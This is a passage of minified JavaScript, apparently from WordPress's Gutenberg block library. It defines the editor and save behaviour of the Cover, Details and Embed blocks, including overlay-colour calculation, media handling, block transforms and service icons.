aborted')))},u=function(){t.removeEventListener("load",l),t.removeEventListener("error",s),t.removeEventListener("abort",c)};t.addEventListener("load",l),t.addEventListener("error",s),t.addEventListener("abort",c)})},e})();var WU=o(Vc(),1);AU([RU]);var qf="#FFF",$U="#000";function I1e(e,t){return{r:e.r*e.a+t.r*t.a*(1-e.a),g:e.g*e.a+t.g*t.a*(1-e.a),b:e.b*e.a+t.b*t.a*(1-e.a),a:e.a+t.a*(1-e.a)}}function e5(){return e5.fastAverageColor||(e5.fastAverageColor=new UU),e5.fastAverageColor}var Zf=Pf(async e=>{if(!e)return qf;let{r:t,g:r,b:a,a:n}=co(qf).toRgb();try{let i=(0,WU.applyFilters)("media.crossOrigin",void 0,e);return(await e5().getColorAsync(e,{defaultColor:[t,r,a,n*255],silent:!0,crossOrigin:i})).hex}catch{return qf}});function Op(e,t,r){if(t===r||e===100)return co(t).isDark();let a=co(t).alpha(e/100).toRgb(),n=co(r).toRgb(),i=I1e(a,n);return co(i).isDark()}var Gt=o(v(),1);function E1e(e){return[["core/paragraph",{style:{typography:{textAlign:"center"}},placeholder:(0,mE.__)("Write title\u2026"),...e}]]}var N1e=(e,t)=>!e&&(0,qU.isBlobURL)(t);function D1e({attributes:e,clientId:t,isSelected:r,overlayColor:a,setAttributes:n,setOverlayColor:i,toggleSelection:l,context:{postId:s,postType:c}}){let{contentPosition:u,id:m,url:p,backgroundType:d,useFeaturedImage:f,dimRatio:h,focalPoint:g,hasParallax:b,isDark:y,isRepeated:_,minHeight:x,minHeightUnit:k,alt:S,allowedBlocks:C,templateLock:E,tagName:B="div",isUserOverlayColor:D,sizeSlug:M,poster:O}=e,[R]=(0,K1.useEntityProp)("postType",c,"featured_media",s),{getSettings:F}=(0,tm.useSelect)(_o.store),{__unstableMarkNextChangeAsNotPersistent:P}=(0,tm.useDispatch)(_o.store),{media:H}=(0,tm.useSelect)(Se=>({media:R&&f?Se(K1.store).getEntityRecord("postType","attachment",R,{context:"view"}):void 0}),[R,f]),$=H?.media_details?.sizes?.[M]?.source_url??H?.source_url;(0,rm.useEffect)(()=>{(async()=>{if(!f)return;let Se=await Zf($),bt=a.color;D||(bt=Se,P(),i(bt));let oo=Op(h,bt,Se);P(),n({isDark:oo,isUserOverlayColor:D||!1})})()},[$]);let V=f?$:p?.replaceAll("&amp;","&"),G=f?Jt:d,{createErrorNotice:K}=(0,tm.useDispatch)(ZU.store),{gradientClass:X,gradientValue:ee}=(0,_o.__experimentalUseGradient)(),ne=async Se=>{let bt=rU(Se),oo=[Se?.type,Se?.media_type].includes(Jt),Cc=await Zf(oo?Se?.url:void 0),Ai=a.color;D||(Ai=Cc,i(Ai),P());let wu=p===void 0&&h===100?50:h,Cu=Op(wu,Ai,Cc);if(G===Jt&&bt?.id){let{imageDefaultSize:$n}=F();M&&(Se?.sizes?.[M]||Se?.media_details?.sizes?.[M])?(bt.sizeSlug=M,bt.url=Se?.sizes?.[M]?.url||Se?.media_details?.sizes?.[M]?.source_url):Se?.sizes?.[$n]||Se?.media_details?.sizes?.[$n]?(bt.sizeSlug=$n,bt.url=Se?.sizes?.[$n]?.url||Se?.media_details?.sizes?.[$n]?.source_url):bt.sizeSlug=Gf}n({...bt,focalPoint:void 0,useFeaturedImage:void 0,dimRatio:wu,isDark:Cu,isUserOverlayColor:D||!1})},J=()=>{let Se=a.color;D||(Se=$U,i(void 0),P());let bt=Op(h,Se,qf);n({url:void 0,id:void 0,backgroundType:void 0,focalPoint:void 0,hasParallax:void 0,isRepeated:void 0,useFeaturedImage:void 0,isDark:bt})},oe=async Se=>{let bt=await Zf(V),oo=Op(h,Se,bt);i(Se),P(),n({isUserOverlayColor:!0,isDark:oo})},ie=async Se=>{let bt=await Zf(V),oo=Op(Se,a.color,bt);n({dimRatio:Se,isDark:oo})},le=Se=>{K(Se,{type:"snackbar"})},de=Se=>{n({url:Se,backgroundType:Rc,dimRatio:p===void 0&&h===100?50:h,id:void 0,focalPoint:void 0,hasParallax:void 0,isRepeated:void 0,useFeaturedImage:void 0})},{embedPreview:Ve,isFetchingEmbed:Ne}=(0,tm.useSelect)(Se=>{if(G!==Rc||!V)return{embedPreview:void 0,isFetchingEmbed:!1};let{getEmbedPreview:bt,isRequestingEmbedPreview:oo}=Se(K1.store);return{embedPreview:bt(V),isFetchingEmbed:oo(V)}},[V,G]),ae=(0,rm.useMemo)(()=>{if(G!==Rc||!Ve?.html)return null;let Se=hU(Ve.html);return Se?gU(Se):null},[Ve,G]),Be=N1e(m,V),Ae=Jt===G,re=kr===G,fe=Rc===G,rt=(0,_o.useBlockEditingMode)(),tt=rt==="default",[Yt,{height:he,width:wt}]=(0,t5.useResizeObserver)(),je=(0,rm.useMemo)(()=>({height:k==="px"&&x?x:"auto",width:"auto"}),[x,k]),xe=x&&k?`${x}${k}`:x,ot=!(b||_),Ke={minHeight:xe||void 0},Qe=V?`url(${V})`:void 0,Ro=$o(g),Q={backgroundColor:a.color},Ie={objectPosition:g&&ot?$o(g):void 0},$e=!!(V||a.color||ee),Oe=(0,tm.useSelect)(Se=>Se(_o.store).getBlock(t).innerBlocks.length>0,[t]),De=(0,rm.useRef)(),ut=(0,_o.useBlockProps)({ref:De}),[ro]=(0,_o.useSettings)("typography.fontSizes"),da=ro?.length>0,at=E1e({fontSize:da?"large":void 0}),zo=(0,_o.useInnerBlocksProps)({className:"wp-block-cover__inner-container"},{template:Oe?void 0:at,templateInsertUpdatesSelection:!0,allowedBlocks:C,templateLock:E,dropZoneElement:De.current}),fn=(0,rm.useRef)(),sf={isVideoBackground:re,isImageBackground:Ae,mediaElement:fn,hasInnerBlocks:Oe,url:V,isImgElement:ot,overlayColor:a},hs=async()=>{let Se=!f,bt=Se?await Zf($):qf,oo=D?a.color:bt;D||(i(Se?oo:void 0),P());let Cc=h===100?50:h,Ai=Op(Cc,oo,bt);n({id:void 0,url:void 0,useFeaturedImage:Se,dimRatio:Cc,backgroundType:f?Jt:void 0,isDark:Ai})},Wn=(0,Gt.jsx)(yU,{attributes:e,setAttributes:n,onSelectMedia:ne,onSelectEmbedUrl:de,currentSettings:sf,toggleUseFeaturedImage:hs,onClearMedia:J,blockEditingMode:rt}),bl=(0,Gt.jsx)(pU,{attributes:e,setAttributes:n,clientId:t,setOverlayColor:oe,coverRef:De,currentSettings:sf,toggleUseFeaturedImage:hs,updateDimRatio:ie,onClearMedia:J,featuredImage:H}),gs={className:"block-library-cover__resize-container",clientId:t,height:he,minHeight:xe,onResizeStart:()=>{n({minHeightUnit:"px"}),l(!1)},onResize:Se=>{n({minHeight:Se})},onResizeStop:Se=>{l(!0),n({minHeight:Se})},showHandle:!e.style?.dimensions?.aspectRatio,size:je,width:wt};if(!f&&!Oe&&!$e)return(0,Gt.jsxs)(Gt.Fragment,{children:[Wn,bl,tt&&r&&(0,Gt.jsx)(oE,{...gs}),(0,Gt.jsxs)(B,{...ut,className:w("is-placeholder",ut.className),style:{...ut.style,minHeight:xe||void 0},children:[Yt,(0,Gt.jsx)(rE,{onSelectMedia:ne,onError:le,toggleUseFeaturedImage:hs,children:(0,Gt.jsx)("div",{className:"wp-block-cover__placeholder-background-options",children:(0,Gt.jsx)(_o.ColorPalette,{disableCustomColors:!0,value:a.color,onChange:oe,clearable:!1,asButtons:!0,"aria-label":(0,mE.__)("Overlay color")})})})]})]});let cf=w({"is-dark-theme":y,"is-light":!y,"is-transient":Be,"has-parallax":b,"is-repeated":_,"has-custom-content-position":!Wa(u)},kn(u)),Xm=V||!f||f&&!V;return(0,Gt.jsxs)(Gt.Fragment,{children:[Wn,bl,(0,Gt.jsxs)(B,{...ut,className:w(cf,ut.className),style:{...Ke,...ut.style},"data-url":V,children:[Yt,!V&&f&&(0,Gt.jsx)(Q1.Placeholder,{className:"wp-block-cover__image--placeholder-image",withIllustration:!0}),V&&Ae&&(ot?(0,Gt.jsx)("img",{ref:fn,className:"wp-block-cover__image-background",alt:S,src:V,style:Ie}):(0,Gt.jsx)("div",{ref:fn,role:S?"img":void 0,"aria-label":S||void 0,className:w(cf,"wp-block-cover__image-background"),style:{backgroundImage:Qe,backgroundPosition:Ro}})),V&&re&&(0,Gt.jsx)("video",{ref:fn,className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:V,poster:O,style:Ie}),fe&&ae&&(0,Gt.jsx)("div",{ref:fn,className:"wp-block-cover__video-background wp-block-cover__embed-background",style:Ie,children:(0,Gt.jsx)("iframe",{src:ae,title:"Background video",frameBorder:"0",allow:"autoplay; fullscreen"})}),fe&&!ae&&Ne&&(0,Gt.jsx)(Q1.Spinner,{}),Xm&&(0,Gt.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",Zi(h),{[a.class]:a.class,"has-background-dim":h!==void 0,"wp-block-cover__gradient-background":V&&ee&&h!==0,"has-background-gradient":ee,[X]:X}),style:{backgroundImage:ee,...Q}}),Be&&(0,Gt.jsx)(Q1.Spinner,{}),(0,Gt.jsx)(rE,{disableMediaButtons:!0,onSelectMedia:ne,onError:le,toggleUseFeaturedImage:hs}),(0,Gt.jsx)("div",{...zo})]}),tt&&r&&(0,Gt.jsx)(oE,{...gs})]})}var KU=(0,t5.compose)([(0,_o.withColors)({overlayColor:"background-color"})])(D1e);var r5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/cover",title:"Cover",category:"media",description:"Add an image or video with a text overlay.",textdomain:"default",attributes:{url:{type:"string",role:"content"},useFeaturedImage:{type:"boolean",default:!1},id:{type:"number"},alt:{type:"string",default:""},hasParallax:{type:"boolean",default:!1},isRepeated:{type:"boolean",default:!1},dimRatio:{type:"number",default:100},overlayColor:{type:"string"},customOverlayColor:{type:"string"},isUserOverlayColor:{type:"boolean"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},isDark:{type:"boolean",default:!0},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]},tagName:{type:"string",default:"div"},sizeSlug:{type:"string"},poster:{type:"string",source:"attribute",selector:"video",attribute:"poster"}},usesContext:["postId","postType"],supports:{anchor:!0,align:!0,html:!1,shadow:!0,spacing:{padding:!0,margin:["top","bottom"],blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},color:{heading:!0,text:!0,background:!1,__experimentalSkipSerialization:["gradients"],enableContrastChecker:!1},dimensions:{aspectRatio:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},layout:{allowJustification:!1},interactivity:{clientNavigation:!0},filter:{duotone:!0},allowedBlocks:!0},selectors:{filter:{duotone:".wp-block-cover > .wp-block-cover__image-background, .wp-block-cover > .wp-block-cover__video-background"}},editorStyle:"wp-block-cover-editor",style:"wp-block-cover"};var om=o(T(),1);var Ps=o(v(),1);function QU({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y,tagName:_,sizeSlug:x,poster:k}=e,S=(0,om.getColorClassName)("background-color",d),C=(0,om.__experimentalGetGradientClass)(r),E=b&&y?`${b}${y}`:b,B=Jt===t,D=kr===t,M=Rc===t,O=!(u||p),R={minHeight:E||void 0},F={backgroundColor:S?void 0:i,background:n||void 0},P=s&&O?$o(s):void 0,H=f?`url(${f})`:void 0,$=$o(s),V=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),G=w("wp-block-cover__image-background",g?`wp-image-${g}`:null,{[`size-${x}`]:x,"has-parallax":u,"is-repeated":p}),K=r||n;return(0,Ps.jsxs)(_,{...om.useBlockProps.save({className:V,style:R}),children:[!c&&B&&f&&(O?(0,Ps.jsx)("img",{className:G,alt:h,src:f,style:{objectPosition:P},"data-object-fit":"cover","data-object-position":P}):(0,Ps.jsx)("div",{role:h?"img":void 0,"aria-label":h||void 0,className:G,style:{backgroundPosition:$,backgroundImage:H}})),D&&f&&(0,Ps.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,poster:k,style:{objectPosition:P},"data-object-fit":"cover","data-object-position":P}),M&&f&&(0,Ps.jsx)("figure",{className:w("wp-block-cover__video-background","wp-block-cover__embed-background","wp-block-embed"),children:(0,Ps.jsx)("div",{className:"wp-block-embed__wrapper",children:f})}),(0,Ps.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",S,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&K&&l!==0,"has-background-gradient":K,[C]:C}),style:F}),(0,Ps.jsx)("div",{...om.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})}var ii=o(U(),1),YU=o(T(),1);var{cleanEmptyObject:o5}=Z(YU.privateApis),M1e={from:[{type:"block",blocks:["core/image"],transform:({caption:e,url:t,alt:r,align:a,id:n,anchor:i,style:l})=>(0,ii.createBlock)("core/cover",{dimRatio:50,url:t,alt:r,align:a,id:n,anchor:i,style:{color:{duotone:l?.color?.duotone}}},[(0,ii.createBlock)("core/paragraph",{content:e,fontSize:"large",style:{typography:{textAlign:"center"}}})])},{type:"block",blocks:["core/video"],transform:({caption:e,src:t,align:r,id:a,anchor:n})=>(0,ii.createBlock)("core/cover",{dimRatio:50,url:t,align:r,id:a,backgroundType:kr,anchor:n},[(0,ii.createBlock)("core/paragraph",{content:e,fontSize:"large",style:{typography:{textAlign:"center"}}})])},{type:"block",blocks:["core/group"],transform:(e,t)=>{let{align:r,anchor:a,backgroundColor:n,gradient:i,style:l}=e;if(t?.length===1&&t[0]?.name==="core/cover")return(0,ii.createBlock)("core/cover",t[0].attributes,t[0].innerBlocks);let s=n||i||l?.color?.background||l?.color?.gradient?void 0:50,c={align:r,anchor:a,dimRatio:s,overlayColor:n,customOverlayColor:l?.color?.background,gradient:i,customGradient:l?.color?.gradient},u={...e,backgroundColor:void 0,gradient:void 0,style:o5({...e?.style,color:l?.color?{...l?.color,background:void 0,gradient:void 0}:void 0})};return(0,ii.createBlock)("core/cover",c,[(0,ii.createBlock)("core/group",u,t)])}}],to:[{type:"block",blocks:["core/image"],isMatch:({backgroundType:e,url:t,overlayColor:r,customOverlayColor:a,gradient:n,customGradient:i})=>t?e===Jt:!r&&!a&&!n&&!i,transform:({title:e,url:t,alt:r,align:a,id:n,anchor:i,style:l})=>(0,ii.createBlock)("core/image",{caption:e,url:t,alt:r,align:a,id:n,anchor:i,style:{color:{duotone:l?.color?.duotone}}})},{type:"block",blocks:["core/video"],isMatch:({backgroundType:e,url:t,overlayColor:r,customOverlayColor:a,gradient:n,customGradient:i})=>t?e===kr:!r&&!a&&!n&&!i,transform:({title:e,url:t,align:r,id:a,anchor:n})=>(0,ii.createBlock)("core/video",{caption:e,src:t,id:a,align:r,anchor:n})},{type:"block",blocks:["core/group"],isMatch:({url:e,useFeaturedImage:t})=>!(e||t),transform:(e,t)=>{let r={backgroundColor:e?.overlayColor,gradient:e?.gradient,style:o5({...e?.style,color:e?.customOverlayColor||e?.customGradient||e?.style?.color?{background:e?.customOverlayColor,gradient:e?.customGradient,...e?.style?.color}:void 0})};if(t?.length===1&&t[0]?.name==="core/group"){let a=o5(t[0].attributes||{});return a?.backgroundColor||a?.gradient||a?.style?.color?.background||a?.style?.color?.gradient?(0,ii.createBlock)("core/group",a,t[0]?.innerBlocks):(0,ii.createBlock)("core/group",{...r,...a,style:o5({...a?.style,color:r?.style?.color||a?.style?.color?{...r?.style?.color,...a?.style?.color}:void 0})},t[0]?.innerBlocks)}return(0,ii.createBlock)("core/group",{...e,...r},t)}}]},XU=M1e;var pE=o(I(),1);var A1e=[{name:"cover",title:(0,pE.__)("Cover"),description:(0,pE.__)("Add an image or video with a text overlay."),attributes:{layout:{type:"constrained"}},isDefault:!0,icon:mp}],JU=A1e;var{fieldsKey:R1e,formKey:z1e}=Z(eG.privateApis),{name:tG}=r5,a5={icon:mp,example:{attributes:{customOverlayColor:"#065174",dimRatio:40,url:"https://s.w.org/images/core/5.3/Windbuchencom.jpg",style:{typography:{fontSize:48},color:{text:"white"}}},innerBlocks:[{name:"core/paragraph",attributes:{content:`<strong>${(0,dE.__)("Snow Patrol")}</strong>`,style:{typography:{textAlign:"center"}}}}]},transforms:XU,save:QU,edit:KU,deprecated:oU,variations:JU};window.__experimentalContentOnlyInspectorFields&&(a5[R1e]=[{id:"background",label:(0,dE.__)("Background"),type:"media",Edit:{control:"media",allowedTypes:["image","video"],multiple:!1,useFeaturedImage:!0},getValue:({item:e})=>({id:e.id,url:e.url,alt:e.alt,mediaType:e.backgroundType,featuredImage:e.useFeaturedImage}),setValue:({value:e})=>({id:e.id,url:e.url,alt:e.alt,mediaType:e.backgroundType,useFeaturedImage:e.featuredImage})}],a5[z1e]={fields:["background"]});var V1e=()=>N({name:tG,metadata:r5,settings:a5});var hE={};q(hE,{init:()=>W1e,metadata:()=>n5,name:()=>sG,settings:()=>l5});var am=o(I(),1),lG=o(U(),1);var n5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/details",title:"Details",category:"text",description:"Hide and show additional content.",keywords:["summary","toggle","disclosure"],textdomain:"default",attributes:{showContent:{type:"boolean",default:!1},summary:{type:"rich-text",source:"rich-text",selector:"summary",role:"content"},name:{type:"string",source:"attribute",attribute:"name",selector:".wp-block-details"},placeholder:{type:"string"}},supports:{__experimentalOnEnter:!0,align:["wide","full"],anchor:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__experimentalBorder:{color:!0,width:!0,style:!0},html:!1,spacing:{margin:!0,padding:!0,blockGap:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},layout:{allowEditing:!1},interactivity:{clientNavigation:!0},allowedBlocks:!0},editorStyle:"wp-block-details-editor",style:"wp-block-details"};var Rl=o(T(),1),Bs=o(A(),1),Fc=o(I(),1),rG=o(j(),1),oG=o(z(),1);var wn=o(v(),1),{withIgnoreIMEEvents:O1e}=Z(Bs.privateApis),H1e=[["core/paragraph",{placeholder:(0,Fc.__)("Type / to add a hidden block")}]];function j1e({attributes:e,setAttributes:t,clientId:r}){let{name:a,showContent:n,summary:i,allowedBlocks:l,placeholder:s}=e,c=(0,Rl.useBlockProps)(),u=(0,Rl.useInnerBlocksProps)(c,{template:H1e,__experimentalCaptureToolbars:!0,allowedBlocks:l}),[m,p]=(0,rG.useState)(n),d=W(),f=(0,oG.useSelect)(b=>b(Rl.store).hasSelectedInnerBlock(r,!0),[r]),h=b=>{b.key==="Enter"&&!b.shiftKey&&(p(y=>!y),b.preventDefault())},g=b=>{b.key===" "&&b.preventDefault()};return(0,wn.jsxs)(wn.Fragment,{children:[(0,wn.jsx)(Rl.InspectorControls,{children:(0,wn.jsx)(Bs.__experimentalToolsPanel,{label:(0,Fc.__)("Settings"),resetAll:()=>{t({showContent:!1})},dropdownMenuProps:d,children:(0,wn.jsx)(Bs.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,Fc.__)("Open by default"),hasValue:()=>n,onDeselect:()=>{t({showContent:!1})},children:(0,wn.jsx)(Bs.ToggleControl,{label:(0,Fc.__)("Open by default"),checked:n,onChange:()=>t({showContent:!n})})})})}),(0,wn.jsx)(Rl.InspectorControls,{group:"advanced",children:(0,wn.jsx)(Bs.TextControl,{__next40pxDefaultSize:!0,label:(0,Fc.__)("Name attribute"),value:a||"",onChange:b=>t({name:b}),help:(0,Fc.__)("Enables multiple Details blocks with the same name attribute to be connected, with only one open at a time.")})}),(0,wn.jsxs)("details",{...u,open:m||f,onToggle:b=>p(b.target.open),name:a||"",children:[(0,wn.jsx)("summary",{onKeyDown:O1e(h),onKeyUp:g,children:(0,wn.jsx)(Rl.RichText,{identifier:"summary","aria-label":(0,Fc.__)("Write summary. Press Enter to expand or collapse the details."),placeholder:s||(0,Fc.__)("Write summary\u2026"),withoutInteractiveFormatting:!0,value:i,onChange:b=>t({summary:b})})}),u.children]})]})}var aG=j1e;var Qf=o(T(),1),Kf=o(v(),1);function nG({attributes:e}){let{name:t,showContent:r}=e,a=e.summary?e.summary:"Details",n=Qf.useBlockProps.save();return(0,Kf.jsxs)("details",{...n,name:t||void 0,open:r,children:[(0,Kf.jsx)("summary",{children:(0,Kf.jsx)(Qf.RichText.Content,{value:a})}),(0,Kf.jsx)(Qf.InnerBlocks.Content,{})]})}var i5=o(U(),1),iG={from:[{type:"block",isMultiBlock:!0,blocks:["*"],isMatch({},e){return!(e.length===1&&e[0].name==="core/details")},__experimentalConvert(e){return(0,i5.createBlock)("core/details",{},e.map(t=>(0,i5.cloneBlock)(t)))}}]};var{fieldsKey:U1e,formKey:G1e}=Z(lG.privateApis),{name:sG}=n5,l5={icon:k9,example:{attributes:{summary:(0,am.__)("La Mancha"),showContent:!0},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,am.__)("In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.")}}]},__experimentalLabel(e,{context:t}){let{summary:r}=e,a=e?.metadata?.name,n=r?.trim().length>0;if(t==="list-view"&&(a||n))return a||r;if(t==="breadcrumb"&&a)return a;if(t==="accessibility")return n?(0,am.sprintf)((0,am.__)("Details. %s"),r):(0,am.__)("Details. Empty.")},save:nG,edit:aG,transforms:iG};window.__experimentalContentOnlyInspectorFields&&(l5[U1e]=[{id:"summary",label:(0,am.__)("Summary"),type:"text",Edit:"rich-text"}],l5[G1e]={fields:["summary"]});var W1e=()=>N({name:sG,metadata:n5,settings:l5});var kE={};q(kE,{init:()=>ove,metadata:()=>ks,name:()=>WG,settings:()=>$G});var Hp=o(I(),1),Is=o(A(),1),s5=o(T(),1);var Yi=o(v(),1);function $1e(e){return e?(0,Hp.__)("This embed will preserve its aspect ratio when the browser is resized."):(0,Hp.__)("This embed may not preserve its aspect ratio when the browser is resized.")}var q1e=({blockSupportsResponsive:e,showEditButton:t,themeSupportsResponsive:r,allowResponsive:a,toggleResponsive:n,switchBackToURLInput:i})=>{let l=W();return(0,Yi.jsxs)(Yi.Fragment,{children:[(0,Yi.jsx)(s5.BlockControls,{children:(0,Yi.jsx)(Is.ToolbarGroup,{children:t&&(0,Yi.jsx)(Is.ToolbarButton,{className:"components-toolbar__control",label:(0,Hp.__)("Edit URL"),icon:vp,onClick:i})})}),r&&e&&(0,Yi.jsx)(s5.InspectorControls,{children:(0,Yi.jsx)(Is.__experimentalToolsPanel,{label:(0,Hp.__)("Media settings"),resetAll:()=>{n(!0)},dropdownMenuProps:l,children:(0,Yi.jsx)(Is.__experimentalToolsPanelItem,{label:(0,Hp.__)("Media settings"),isShownByDefault:!0,hasValue:()=>!a,onDeselect:()=>{n(!a)},children:(0,Yi.jsx)(Is.ToggleControl,{label:(0,Hp.__)("Resize for smaller devices"),checked:a,help:$1e,onChange:n})})})})]})},cG=q1e;var _e=o(A(),1),we=o(v(),1),zl=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,we.jsx)(_e.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z"})}),c5=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,we.jsx)(_e.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z"})}),gE=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,we.jsx)(_e.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})}),Yf=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,we.jsx)(_e.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z"})}),uG={foreground:"#000000",src:(0,we.jsx)(_e.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z"})})},mG={foreground:"#ff0000",src:(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z"})})},pG={foreground:"#3b5998",src:(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z"})})},dG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.G,{children:(0,we.jsx)(_e.Path,{d:"M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 